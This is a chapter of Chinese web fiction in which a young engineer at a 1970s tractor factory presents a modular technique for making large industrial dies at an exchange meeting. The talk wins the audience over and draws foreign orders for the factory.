"比如咱们曾经有机床厂模具的模刀出现2cm缺口,按传统工艺需整体退火重锻,因为体积大,整个回炉工期45天,期间生产线只能停工,还急得传出‘模具感冒,全厂发烧!''的戏言。" “此外,失误率、报废率也是极难以承受的,即使只是一处小的失误,整件大型模具都将遭到报废。” 台下,一重机厂的人都不由挪了挪屁股,眼皮绷紧,他们五年前就因为一道0.2mm划痕,报废了整件模具,直接损失了厂里三年的研发经费!到现在都还没完全缓过来。 林巧枝继续讲述:“整件模具制作,在苏联支援咱们的资料中显示一架机身模具需要切除67%的钢料,这对我们来说,堆起来的钢料怕是比天安门城墙还要高,损耗的负担实在是太大了。” “运输方面,我们为了运送超重设备、原料,专门修建过36公里铁路支线,这样的耗资相当于3000工人的全年工资。” 堪称是死亡行军了。 “所以,以目前固有的经验来看,''整体结构刚性最优''依旧是非常有道理的技术总结,但从宏观来讲,这项技术或许并不适合我们国家的国情。”林巧枝只是花五分钟开了个头,台下坐着的很多人,表情就已经凝重起来,整个交流会的气氛也因为她提到的技术感到深深的压迫力。 有人拿出纸笔,有人开始拍照,还有人则开始低声同周围人窃语问着些什么…… 台下听众已经意识到了。 这位站在主席台上的林工,心气可不是一般的高。 她要讲的,绝对不只是那个20吨大型模具的制作技术经验,她是想要分享一套对全工业领域都适用的分体研制技术。 如果说,前者还只局限于单个案例,那么后者就是想要直接一拳打碎行业默认的规则了! 红旗厂这次是要搞一出大新闻啊! 真要是让红旗厂这位林工做成了,不说整个行业都要跟着震三震,那太夸张,但至少也是名声大振。 日后走出去,很多东西就不一样了。做拖拉机的机械厂。引领过行业发展的农械厂。打破过行业固有规则的青年。 能一样吗? 林巧枝心气当然高。 她可是红旗子弟!在这样一个从来都是南方拖拉机龙头的厂里长大,骨子里是自豪的,骄傲自信是发自内心的,从小听她们拖拉机厂一次次突破难关,不断奋进的事迹……当行业领头羊,难道不是理所当然的吗? 用温厂长的话,既然做出了成绩,就把它用到极致,发扬光大! 她没有去管台下这隐隐的骚动,那些曾经真切发生在工业领域,发生在她们脚下这片大地的损失和惨痛教训,引起一些共鸣是很正常的。 倒是坐在侧边前排喝茶的温东鸣,感受着这会场里的动静,压住愉悦的嘴角。 做农械的厂又如何? 年轻工人又怎样? 这可是他温东鸣一手带出来的红旗厂,红旗精神代代相传,当年他能带着红旗厂从小柴油机厂走到现在,年轻的后辈当然也能带着红旗厂走向更大的舞台。 林巧枝:“接下来我们来看几个最关键的问题,首先,分体研制怎么克服‘分体必松动’这个问题。” 随着她这句话逐渐说出,台下那点隐隐的骚动,以极快的速度平复。 她一句话还没说完,声音几乎就没了。 几乎所有人都目不转睛地看向主席台,全部注意力都被紧紧地拉到了林巧枝的发言上。 林巧枝停顿了一下,看向众人,讲述这一方案:“我们在模块接口处嵌入带螺旋槽的合金钢销柱,配合高级钳工手工锉削研磨的燕尾槽……. 在幕布上展示的,是左右两张图。 一张是投映放大过的设计图纸。 一张是按照该图纸制作出来的成品照片,这代表,这项颠覆“分体必松动”行业认知的技术,确实是成功落地了。 与图纸和照片给人巨大冲击同时而来的是林巧枝的声音,她镇定清晰的声音随着音响在礼堂扩散:“经过我们红旗厂技术组工人们的努力,燕尾槽的精度逼近1丝,组装后整体形位公差≤0.02mm。” 带螺旋槽的合金钢销柱,燕尾槽,整体形位公差≤0.02mm!! 这套技术像是闪电一样,在许多技术员脑子里闪击而过,又因为没有太多时间进行具体思考,转瞬即逝。 林巧枝又继续讲到:“关于分体研制的第二大问题……” 听到她这就要去讲下一个技术了。 台下也不知谁急喊道:“再仔细讲讲啊,我们又不赶时间!” 最初声音突然响起,不知道是谁。 但很快有周围的人侧头去看,站在台上,很轻易就能看到是谁喊的这话了。 林巧枝和红旗厂几人都看到他了,只是林巧枝没有依照他的要求来:“今天是交流会的第一天,我们的安排是做整体技术介绍,让大家对技术有整体了解,思考过后,再深入讨论。这位同志如果感兴趣的话,可以在交流会后找时间与我们团队成员详谈。" 台下众人其实也都看到了那个出声的人,倒是不觉得他没素质,只觉得他说出了大伙的心声。 把人心勾得痒痒,然后就不管了,怎么能这样!!这样是不道德的!! 即使道理都懂,但心里还是痒痒啊,不少人屏息凝神,希望这位勇敢的同行再给点力,为大家发声。 毕竟这样的带点纪律的场合,尤其是台上站着的人如此年轻,是个年轻后辈,不是每个人都方便、且好意思提出这样的请求的。 “今天上午时间有限,我们抓紧。”林巧枝不受影响,节奏也没有丝毫被打乱,“我们接下来看第二个问题,这个问题的解决难度,远高于分体松动……”台下不少人脑子还被上一个问题吸引撩拨,舍不得离开,但林巧枝讲的下一项技术又追着就来,更为诱人。 这个也好,那个也香。 脑子好像变成两只在抢食的狗,在争斗中汪汪大叫,左蹦右跳。 在两难中犹豫抉择,脸上肌肉都跟着抽动两下,最后只能忍痛割爱,跟着林巧枝的节奏走。 没办法。 要是纠结这一个问题,难道要把后面所有关键点全都错过吗? 林巧枝在分享这些经验的时候,注意到,礼堂门口打开,进来几个穿中山装的中年人,广交会上分管工业展区的胡开记和外交部的一名同志都在里面,另外几位,就不太眼熟了。 不过这一行人进来之后,就在后排找位置坐下了,并没有打断林巧枝的分享。 时间一点点流淌。 台下的各种声音和反应都趋于平缓,所有人都调动全部脑力认真听林巧枝讲述的内容。 “……以上就是分体研制需要克服的几个主要困难,接下来,我想以这个20吨重模具的经验为基础,同各位分享一下我对优化这套技术的一些想法。”林巧枝语气很谦虚,没有什么沾沾自喜,傲慢自得的调子。 但事实上,技术讲到这里,不管语气和神态如何,就已经不是谦虚不谦虚,客气不客气的问题了。 就好像考完试,一个学霸以很谦虚的口吻说:“这次数学只考了120分。” 人家是有理有据的,她说自己附加题没做,还有提升空间。 但这个满分的战绩砸下来,口吻和态度就得由听到这话的人自行解读了。 “在这套20吨模具的制作中,我们每个模块都预留了‘技术升级插槽’,若日后产品升级,技术有变动,随时可以替换新的模块,进行技术升级。” 不需要20吨整体重做! "方案设计之初,我们考虑到模具的‘移植性'',其中至少60%部件可复用。" “仅更换故障模块,预估维修成本降低了94%” …… 林巧枝设计的方案,为什么会让人惊艳不已,道理就在这些巧思里了。 她不仅完成了分体研制的基础技术功能,还建立了工业品“可进化”的概念。 这是整体制作完全无法匹敌的。 不仅解决了“失误率”“工期风险”“材料报废率”“运输难度”等普遍问题,竟然还能同时考虑到整个模具未来的迭代升级,这实在是有些骇人听闻了。 模具作为工业之母,用来批量生产某种固定形状工件的东西,竟然有人考虑到它的未来升级!! 对小模具来说,这纯粹就是浪费功夫,有设计这个的时间,新的都做出来了。 但对于超大超重的模具来说,这绝对是所有人没有办法抵挡的诱惑。 后排,胡开记等人还有些怔愣,有点明白但又不是特别肯定,朝着身旁红旗厂接待他们的人询问确认。 红旗厂的人举例:“您想想,那个采购自奥地利的大型模具出了毛病,三天两头停工,对方只能重新再定制一个全新的模具,这是多大一笔开销?但是日后,坏了可以只重新做一个模块,如果技术升级,还能再找我们设计替换件。” 他还打了个比方:“这样说吧,假设是生产汽车,汽车总要升级外观和技术吧?一般来说车辆整体框架都是用冲压模具一体成型,即使外观只是升级改变一点,整套模具都要重做。” 说得这么明白了,胡开记一行人自然是听懂了,没忍住相互看看。 胡开记笑笑,恍然道:“这就不奇怪了。” 终于解开了他们这段时间的疑惑。 他们之前还纳闷,外商什么时候变得这么好说话了,竟然会那样热情的夸赞他们做的模具,连笑容都热情了不止一倍,积极地想要与他们保持联络。 采购那些农产品,轻工业品的时候,怎么没见外商这么热情友好? 难道仅仅是因为他们的工人技术精湛,成品质量看起来高一点? 难道他们的农产品质量就不好,味道就不好吃? 胡开记这下明白了缘由,对周围几个同事笑道:"他们这是想保持好联络,以后不管出问题维修,还是技术升级,都还得找红旗厂。" “难怪笑得那么好,他们这次可算占了大便宜了,后头分体研制模具的定价,可不能再按照原来价钱的来了。” “这下不仅打出了名气,连回头客也牢牢揽住了!” 这样精巧的设计,难道还敢交给别人不成?真的能放心? 除了红旗厂,别无他选。除非愿意就和原来一样,整件报废,全部重做。胡开记这些外行都啧啧称奇。外行看热闹,内行看门道。 可想而知这在场的一众工业战线同行有多震撼了,这绝对不仅仅是“可进化”这一个概念,其中牵扯到方方面面。 一时间,心里像是有蚂蚁在爬,又像是有火球在滚。 明明是深秋要入冬的时节,有些人热得扯开衣领,甚至直接敞开外套,试图通过气温来冷静一下头脑。 等林巧枝分享出这部分想法,甚至包括一些没能来得及在20吨重型模具上实现的设计之后。 早上的这场交流会也接近尾声。 "……感谢各位前辈、工业战线同志的倾听,以上就是我带来关于大型模具分体研制的一些经验和感想。接下来还有十分钟左右的时间。" 林巧枝本想说大家提前去食堂吃饭吧,干饭!! 结果话还没说完,就看到有不少人已经站起来,急切地朝红旗厂现场人员要话筒。 还有前排的人,干脆纯靠嗓子足朝台上喊话,不过声音虽大,语气却听起来很好的样子:“还有十分钟,我个人,想请求林工多留一会儿,有几个问题,实在是非常想得到解答。” 事先并没有准备这个环节。 林巧枝侧头看向了温东鸣、王柏强他们所在的方向,他们那边交头接耳商量了两句。 虽然是主办方,但现场这个情况,实在是有点盛情难却。 于是在第一排右侧的温东鸣站起来,拿着话筒朝后面道:“那咱们借着最后的时间,回答一些简单的问题。大家注意把控时间,有些明显需要时间才能讲清楚的,就留到下午探讨,相信咱们下午的交流会更精彩……” 下午? 下午的安排分明是留出充分的时间,让他们相互探讨理解,吸收上午讲的内容,有助于第二天的分享和交流。 江南造船厂的一名技术高工率先站了起来:“林工,采用这套分体研制的技术后,这套20吨模具制作工期比整体制作减少了五分之一,这应该有第一次尝试的原因,你觉得交付周期最快可以提前多少?" 林巧枝思索片刻。 分体研制有一个特别大的好处——所有拆分的部件,可以同时进行加工。 比如把一个整体拆分成五份,理论上最快可以有五倍的进度。 但还是要结合一些实际情况,林巧枝握着话筒回答道:“如果水平足够高的技术工人充足,并且不受天车台数的钳制,我个人觉得,这套模具,最快应该可以把原本预计整体制作的180天周期,压缩到45天左右。” 分体研制,就是可以劈开时间山的! 他呼吸明显急促了一些,还想问,但被人抢了先。 “林工!”重型设备厂的王国伟站起来,问了关于模具“可进化”的相关问题。他的旁边,也还有不少人都跃跃欲试,手里都半举着笔记本,显然刚刚听林巧枝讲述时记录了不少想法。 …… 随着交流会的展开,直到最后简单的问答环节。称呼林巧枝为“林工”的声音明显变多了,语气也变得更认真,少了几分对年轻后辈的随意。 一个人,在技术行业内的地位,传是传不出来的,只能靠着货真价实的战绩一场场仗打出来。而想要在如此多同行面前,博得一定的名气和地位,显然就要拿出一些不一样的,超出大家水平的东西来推平阻力,才铺得开名气。"当制作过程中,局部工艺出现失误,不再像原来那样整体报废,再加上分体的解构……材料利用率我觉得能从60%升至85%左右。" 林巧枝回答完这个问题,就把话筒放下来,她神色自如,很是自信。 主持接过她主动递来的话筒,“感谢林工为我们解答的问题,今天的问答环节就到这里,各位有序从前门离开,前往食堂用餐,等用餐之后,休息片刻,相信下午的探讨交流会让大家有更多的收获……” 随着主持人宣布上午的交流会结束。 仍旧揣着满肚子问题的人,只能按捺住那颗震撼的,还想继续提问的心,遗憾且恋恋不舍地移开目光,跟着众人抬起手鼓掌。 “啪啪啪啪啪——” 交流会会场里,响起了一片热烈的掌声。 掌声响了好一会儿,才渐渐变小停歇,取而代之的是一阵阵三五成群的激烈讨论。 50、多笔外汇订单 在一阵阵三五成群的讨论声中,后排座一行人顺着过道往前走。已经下台的主持人,回到台上,拿着话筒对会场里的大家道:“各位稍等,临时有个情况要通知大家。”边聊边收拾东西起身的众人,看到往主席台上走的那一群人,有人认出了里面几个。人群稍稍停滞,相互低语一番,又纷纷坐了回去。林巧枝也是好奇地望着他们这一行人。“林工,喝点水。”宣传科年轻的干事郑梅梅笑着给林巧枝递她的水壶。林巧枝接过铁皮水壶,里面是温水,正适合入口,刚刚从暖水瓶里倒出来的。她抱着铁皮水壶吨吨吨地喝。 喝了小半壶水,她抹抹嘴舒坦极了。她看向胡开记一行人,顺手把水壶放回桌上,纳罕地问:“他们也来参加交流会?”“听说是为了分体研制技术!”她眼睛发亮的看向林巧枝,拎起暖水壶,把铁皮水壶蓄满水。林巧枝微微错愕,也把目光投到主席台上。 “各位辛苦了。”胡开记站上台,话筒声音传开,“自我介绍一下,我是胡开记,任职于外交部和商务部联合对外商务组,在座应该有不少人也认识我,差不多中午了,咱们长话短说……” 是的,他们这一趟,是专程而来。 自从20吨模具交付后,他们忙于保障运输,处理合同,验收货款外汇,上海展馆对外宣传…… 许多工作还没有收尾,就有新的采购意向联系到他们这里。 据说,在上海展出结束之后,仍然有许多人为了看到那件20吨成品模具,尤其是那件模具在进入实际生产后的表现,特意飞了过去,为此,甚至特意找中间人牵线搭桥。看过之后,又立马转机飞来中国的不在少数。 并不是只有同行才敏锐。 就好像农民,他们或许不懂工业技术,也弄不明白技术升级,但是要是县里采购了一台新的拖拉机,好不好用,保管人人都能唠两句。 坏了要嫌弃,“咱们村以后可不能采购这拖拉机,不得劲。” 好了肯定心动,“这拖拉机好,不费油,施肥、堆草、排灌、收割一把抓,还能发电!!隔壁村那台早两年买,可没这么厉害。” 现在中国独一份的分体研制技术,就是这台“好拖拉机” 让人蜂拥而来。 台上,胡开说出一记重磅消息:"……经过沟通和交流,我们目前已经接洽了六笔意向订单,如果我们有能力全部承接下来,将涉及数百万元的外汇!"听到这话,林巧枝眼睛顿时睁大,不由站直了身体。 不远处温东鸣也冲她招手,做出口型:“巧枝,过来这边。” 林巧枝三步并作两步的快走过去。 她主动问候道:“温厂长,王工。” 眼神不自觉朝他们身侧扫了两眼,有好些天没见到路工了,直到交流会他都没出现,林巧枝才心中隐隐确信,路工这是有别的重要任务去了。 会是什么呢?她有些神往。 温东鸣给她介绍,拉回了她有些发散的思绪,“这是商务团的同志,上次咱们在广交会见过。” “林工应该还记得我们吧!”对方扬起一个热情的笑容,看林巧枝的眼神简直像是在看熊猫。 林巧枝又不是瞎子,感受不到这股视线,顿时感觉脸颊都要被这股眼神点热。 “当然记得。”林巧枝客气道。 “是这样的,就目前的情况来看,分体研制可以应用的行业很多。”对方带来了一个消息,“其实除了这六笔意向强烈的订单,我们还收到一些其他的询问和报价,涉及各行各业,正因为如此,我们得知有这样一场交流会,才特意前来……" “这是一个支点,或许可以撬动巨额的外汇。” 他们必须来跟进。 林巧枝不敢置信地眨了眨眼睛。 胡开记在台上,倒是说得浅一点,没有说得这么直白露骨,他看着文质彬彬的,言语却像开过的刀刃一样锋利,把一个个行业直接点名过来。 也让处于亢奋状态的众人如梦初醒。 他们想要学习分体研制技术,回去做大型框架模具,回去用到高炉,轧机上,回去用到重型设备上…… 难道旁人就不想? 随之而来的,就是脊背后直蹿上来的激颤感。 外汇啊! 他们谁没有吃过缺外汇的苦? 他们新中国的工业体系,是以当年苏联援建的156个项目为基础的,但是随着进入七十年代,设备普遍面临老化问题。 设备陈旧,工业基础落后,绝大多数行业,技术水平也落后西方二三十年。 比如南钢一厂。 他们的钢铁炼制目前还以平炉炼钢为主,可发达国家已经普遍使用氧气顶吹转炉。 他们的特种钢铁都依赖进口! 不仅是钢铁,汽车、电子、化工等战略性产业的核心技术,几乎全都被卡住咽喉。 可难道他们就认了? 难道他们就不发展了,从此忍气吞声服软了? 当然不! 来自世界各国的外汇,是唯一能松动这些制裁、打开世界大门的钥匙。 大量出口的农产品代表什么,他们谁不清楚?那是他们国家本就不发达的农业勒紧裤腰带在供养他们,想要供养出祖国的重工业,供养出国之脊梁!“这必须干了!” “我们南钢绝对不是孬的,有成功的先例,还有人教,这技术要是还啃不下来,哪还有脸回去见人?” …… 被点名的行业牙关都咬紧,胸腔里有团灼热的火在烧。胡开记简单介绍完情况,也没有多耽误大家时间,他从主席台上下来。有时候简单的言语,更有重量。说多了,反而累赘又轻飘。 他心里何尝不是有怒火在烧?烧得火星四溅,迸出的火星燎得他一颗心脏生疼? 他编制在外交部,知道的比普通群众更多,如今国家在推动“43方案”,预计耗费43亿美元,引进26套成套的设备,涉及钢铁行业、13套化肥生产线等等。他们想要提升重工业和农业产能。 可对方要价却极其高!! 洽谈的过程中,他眼睁睁看着,外交部那些他敬重的老前辈,头发都肉眼可见白了一圈。 弱国外交,谈何容易? 各大重点单位必须学会这项技术!!打出名气,打造出一张声名赫赫的中国名片,他们也提高价格,狠狠在世界工业圈子里赚上一笔!胡开记吐出胸中燥热浊气,笑着找林巧枝握手:“林工,上次见面时我说自古英雄出少年,当真是一点没错。我可是一直可惜着,上次广交会一别,没和你握个手。”林巧枝喜欢他带来的好消息,玩笑说:“这有什么可惜的?我那时候亢奋,又不稳重,可别一不小心激动地,把你手给捏坏了。”胡开记失笑。 他发现林巧枝确实比上次广交会见面时,身上看起来多了点沉淀的气势。 但能说这话,性子总归是十几岁的年轻人,就好像小孩子总觉得自己长大了,年轻人也总盼着自己成为成熟稳重、能独当一面的大人。 他自然地同林巧枝握手,真诚赞叹:“经过你手处理的模具走出去,在国外传了不少中国工业的美名,不少国外友人在见我们时,都曾经提及,走遍十几个国家,都没见过如此巧夺天工的工业品,这是硬外交啊!”他又笑,温文尔雅的样子,“我得跟你握握手,指不定哪天也能做出这样的外交成绩。” 就让人很舒服。 但林巧枝忘不了他重重拍桌子、强硬到不讲理地“我不听这些,就告诉我有没有成功的可能!”的样子。 就有一种割裂感,仿佛他此刻温煦的外表,是他给自己披上的假面。 本是唐刀。 却伪装成锦绣花团,只为让人如沐春风。 ……至此,早上这场交流会是真的结束了。人群从一排排座位里起身往外,朝着林巧枝所在的地方围聚过来。 许多都是来跟林巧枝交换联系方式的。许多能负担得了大重型模具、并且有切实需求的行业和国营单位,还有很多胸口团着一口气的,都想要第一时间参与到分体研制这个被林巧枝突破拔高的话题里来。林巧枝就是一个地址,都没有自己的电报挂号。 自然只能略抱歉的收着来自大家的电报挂号,还有一些高工的私人联系地址,不断道:“实在不好意思,只能麻烦大家联系红旗厂再转联。” “记下了记下了,日后有这方面的需要一定联系您。” …… 这些关系,在交流会开始之前,温东鸣、王柏强等人都已经提点过了。 如果有人想和她私人交换联系方式,交个朋友,不管是单位地址还是私人电报挂号,不要拒绝的好。 所谓三个臭皮匠顶个诸葛亮,朋友在工业圈里还是很重要的,有了朋友,有了消息网,才便于在行业内行走。工业是环环相扣的整体,要是太独,平时对旁人爱答不理,遇到了问题,谁搭理你? 林巧枝收了一兜子纸条,记了一小本电报挂号,她看了一圈,确认没有人再挤过来,这才合上本子和笔,“大家也都去吃饭吧……让一让啊,让一让,谢谢谢谢。”林巧枝总算从人群里挤了出来,刚好看到了在包围圈外等她的温东鸣和王柏强。 “感觉怎么样?”温东鸣双手在胸前环抱,看着她笑呵呵的问。 “觉得……大家很热情。” “从没有想过有一天会收到这么多人的热情。” 林巧枝看着自己手里的本和条,感觉好像做梦一样,一切都那么不真实,但又……让她心底生出一丝丝雀跃,快乐像是鱼儿一样游进她心里。真好啊,努力没有白费。 小巧枝要是知道,也会为长大后的自己骄傲吧。